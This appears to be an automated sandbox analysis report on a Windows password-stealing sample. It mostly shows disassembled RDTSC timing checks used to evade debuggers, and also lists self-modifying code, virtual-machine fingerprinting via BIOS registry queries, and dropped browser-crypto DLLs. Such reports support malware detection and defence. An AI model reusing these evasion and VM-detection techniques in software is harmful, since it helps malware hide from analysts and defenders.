Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB5084 second address: CB5096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAF64864F2Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB5096 second address: CB50A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAF64D85736h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB6E42 second address: CB6E5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB69CA second address: CB69D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB69D0 second address: CB69DA instructions: 0x00000000 rdtsc 0x00000002 js 00007FAF64864F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB8AB0 second address: CB8AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB8AB6 second address: CB8ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB8ABA second address: CB8ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB8ABE second address: CB8ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a je 00007FAF64864F26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: CB8ACE second address: CB8AD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA02F9 second address: 4BA02FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA02FD second address: 4BA0303 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0303 second address: 4BA0308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0308 second address: 4BA0318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0318 second address: 4BA031F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, DAh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA031F second address: 4BA034B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAF64D85747h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA034B second address: 4BA03C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAF64864F2Ch 0x00000012 adc si, 0EE8h 0x00000017 jmp 00007FAF64864F2Bh 0x0000001c popfd 0x0000001d call 00007FAF64864F38h 0x00000022 push eax 0x00000023 pop edx 0x00000024 pop ecx 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FAF64864F38h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA03C0 second address: 4BA03D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAF64D8573Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA03FC second address: 4BA0400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0400 second address: 4BA0413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0413 second address: 4BA047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov eax, edi 0x0000000d jmp 00007FAF64864F33h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007FAF64864F36h 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAF64864F37h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA047A second address: 4BA04A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D85749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edi 0x0000000f push ebx 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C83D4D second address: C83D69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 je 00007FAF64864F26h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C83F7A second address: C83F80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0579 second address: 4BA05B6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAF64864F35h 0x00000008 and ah, FFFFFF96h 0x0000000b jmp 00007FAF64864F31h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xor dword ptr [esp], 786DD85Bh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA05B6 second address: 4BA05BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA05BC second address: 4BA05C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA05C2 second address: 4BA05C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA05C6 second address: 4BA0633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FAFD6E7894Ah 0x0000000d push 771B27D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [77240140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007FAF64864F36h 0x00000059 xor eax, 26FB2818h 0x0000005f jmp 00007FAF64864F2Bh 0x00000064 popfd 0x00000065 jmp 00007FAF64864F38h 0x0000006a popad 0x0000006b and dword ptr [ebp-04h], 00000000h 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007FAF64864F37h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0633 second address: 4BA0671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, D44Ah 0x00000007 mov ebx, 0E3EEB16h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov edx, dword ptr [ebp+0Ch] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bx, cx 0x00000018 pushfd 0x00000019 jmp 00007FAF64D85742h 0x0000001e sub eax, 15757738h 0x00000024 jmp 00007FAF64D8573Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0671 second address: 4BA06D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAF64864F2Fh 0x00000009 sub cx, ECFEh 0x0000000e jmp 00007FAF64864F39h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov cx, di 0x0000001f pushfd 0x00000020 jmp 00007FAF64864F2Bh 0x00000025 sub ch, 0000000Eh 0x00000028 jmp 00007FAF64864F39h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA077E second address: 4BA085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D85746h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, bx 0x0000000c popad 0x0000000d sub edx, esi 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 mov edi, ecx 0x00000015 popad 0x00000016 mov edi, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FAF64D8573Ch 0x00000020 or ax, 8498h 0x00000025 jmp 00007FAF64D8573Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007FAF64D85748h 0x00000031 and eax, 123B2EF8h 0x00000037 jmp 00007FAF64D8573Bh 0x0000003c popfd 0x0000003d popad 0x0000003e dec edi 0x0000003f pushad 0x00000040 pushad 0x00000041 push eax 0x00000042 pop edx 0x00000043 pushfd 0x00000044 jmp 00007FAF64D8573Eh 0x00000049 sbb al, 00000058h 0x0000004c jmp 00007FAF64D8573Bh 0x00000051 popfd 0x00000052 popad 0x00000053 mov eax, 5E2D1E0Fh 0x00000058 popad 0x00000059 lea ebx, dword ptr [edi+01h] 0x0000005c jmp 00007FAF64D85742h 0x00000061 mov al, byte ptr [edi+01h] 0x00000064 jmp 00007FAF64D85740h 0x00000069 inc edi 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FAF64D85747h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA085F second address: 4BA08CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FAF64864F2Eh 0x00000010 jne 00007FAFD6E6D119h 0x00000016 pushad 0x00000017 mov ebx, eax 0x00000019 push esi 0x0000001a mov cx, dx 0x0000001d pop edx 0x0000001e popad 0x0000001f mov ecx, edx 0x00000021 jmp 00007FAF64864F30h 0x00000026 shr ecx, 02h 0x00000029 pushad 0x0000002a mov eax, 6FBA72DDh 0x0000002f movzx esi, bx 0x00000032 popad 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 rep movsd 0x00000039 rep movsd 0x0000003b rep movsd 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FAF64864F30h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA08CE second address: 4BA0955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007FAF64D85746h 0x00000010 and ecx, 03h 0x00000013 jmp 00007FAF64D85740h 0x00000018 rep movsb 0x0000001a pushad 0x0000001b jmp 00007FAF64D8573Eh 0x00000020 pushfd 0x00000021 jmp 00007FAF64D85742h 0x00000026 or cx, 1C58h 0x0000002b jmp 00007FAF64D8573Bh 0x00000030 popfd 0x00000031 popad 0x00000032 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c call 00007FAF64D8573Bh 0x00000041 pop ecx 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0955 second address: 4BA095B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA095B second address: 4BA095F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA095F second address: 4BA0963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0963 second address: 4BA0996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a jmp 00007FAF64D85748h 0x0000000f mov ecx, dword ptr [ebp-10h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAF64D8573Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0996 second address: 4BA099C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA099C second address: 4BA09BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA09BA second address: 4BA09C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 6A8Eh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA09C3 second address: 4BA09EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 push esi 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FAF64D85745h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA09EA second address: 4BA09F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAF64864F2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA09F8 second address: 4BA0A2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jmp 00007FAF64D85747h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAF64D85740h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0A2D second address: 4BA0A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0A31 second address: 4BA0A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0A37 second address: 4BA0AA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, CBE3h 0x00000007 mov si, 433Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 pushfd 0x00000012 jmp 00007FAF64864F37h 0x00000017 jmp 00007FAF64864F33h 0x0000001c popfd 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FAF64864F2Fh 0x00000026 add ax, 3E1Eh 0x0000002b jmp 00007FAF64864F39h 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0AA6 second address: 4BA0AD5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAF64D85740h 0x00000008 add ecx, 233D7418h 0x0000000e jmp 00007FAF64D8573Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 leave 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0AD5 second address: 4BA0AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0AF0 second address: 4BA0579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAF64D8573Fh 0x00000009 sub esi, 40887E3Eh 0x0000000f jmp 00007FAF64D85749h 0x00000014 popfd 0x00000015 mov bx, si 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b retn 0008h 0x0000001e cmp dword ptr [ebp-2Ch], 10h 0x00000022 mov eax, dword ptr [ebp-40h] 0x00000025 jnc 00007FAF64D85735h 0x00000027 push eax 0x00000028 lea edx, dword ptr [ebp-00000590h] 0x0000002e push edx 0x0000002f call esi 0x00000031 push 00000008h 0x00000033 jmp 00007FAF64D85740h 0x00000038 push 0F4FC473h 0x0000003d pushad 0x0000003e mov bx, 1DC2h 0x00000042 push eax 0x00000043 push edx 0x00000044 mov eax, edi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0BE2 second address: 4BA0C06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0C06 second address: 4BA0C19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0C19 second address: 4BA0C3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0C3D second address: 4BA0C43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0C43 second address: 4BA0C7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FAF64864F2Ch 0x00000011 or ch, 00000038h 0x00000014 jmp 00007FAF64864F2Bh 0x00000019 popfd 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0C7D second address: 4BA0CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, 58h 0x00000006 popad 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov bl, 51h 0x0000000d call 00007FAF64D85746h 0x00000012 mov dx, cx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAF64D85748h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0CC0 second address: 4BA0CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 4BA0CC6 second address: 4BA0CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Special instruction interceptor: First address: 9CF905 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Special instruction interceptor: First address: 9CF9CC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Special instruction interceptor: First address: BEFFE7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Special instruction interceptor: First address: BD9EB8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Special instruction interceptor: First address: C4BEFD instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
